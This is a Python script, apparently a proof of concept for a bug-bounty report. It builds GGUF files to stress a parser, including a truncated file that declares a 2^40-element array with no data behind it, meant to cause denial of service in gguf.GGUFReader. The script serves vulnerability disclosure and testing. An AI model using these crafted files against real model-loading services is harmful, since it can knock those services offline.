File size: 2,278 Bytes
2f4202a | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 | #!/usr/bin/env python3
"""Generate benign GGUF metadata-only parser stress files.
The files contain no executable payload and no tensor data. They only exercise
GGUF metadata array parsing in gguf.GGUFReader.
"""
from __future__ import annotations
import argparse
import hashlib
import struct
from pathlib import Path
GGUF_TYPE_UINT8 = 0
GGUF_TYPE_STRING = 8
GGUF_TYPE_ARRAY = 9
def pack_str(value: bytes) -> bytes:
return struct.pack("<Q", len(value)) + value
def kv_string(key: str, value: str) -> bytes:
return (
pack_str(key.encode("utf-8"))
+ struct.pack("<I", GGUF_TYPE_STRING)
+ pack_str(value.encode("utf-8"))
)
def kv_uint8_array(key: str, n: int, include_data: bool) -> bytes:
data = b"\x41" * n if include_data else b""
return (
pack_str(key.encode("utf-8"))
+ struct.pack("<I", GGUF_TYPE_ARRAY)
+ struct.pack("<I", GGUF_TYPE_UINT8)
+ struct.pack("<Q", n)
+ data
)
def gguf(kvs: list[bytes]) -> bytes:
return b"GGUF" + struct.pack("<IQQ", 3, 0, len(kvs)) + b"".join(kvs)
def write_file(path: Path, content: bytes) -> None:
path.write_bytes(content)
digest = hashlib.sha256(content).hexdigest()
print(f"{path.name}\t{len(content)} bytes\tsha256={digest}")
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--out", type=Path, default=Path("artifacts"))
parser.add_argument("--valid-count", type=int, default=250_000)
parser.add_argument("--huge-count", type=int, default=1 << 40)
args = parser.parse_args()
args.out.mkdir(parents=True, exist_ok=True)
marker = kv_string("huntr.marker", "GGUF_ARRAY_DOS_BENIGN_MARKER")
write_file(
args.out / "baseline_small_array.gguf",
gguf([marker, kv_uint8_array("huntr.small_array", 16, include_data=True)]),
)
write_file(
args.out / f"valid_uint8_array_{args.valid_count}.gguf",
gguf([marker, kv_uint8_array("huntr.valid_uint8_array", args.valid_count, include_data=True)]),
)
write_file(
args.out / "truncated_huge_uint8_array.gguf",
gguf([marker, kv_uint8_array("huntr.truncated_huge_uint8_array", args.huge_count, include_data=False)]),
)
if __name__ == "__main__":
main()
|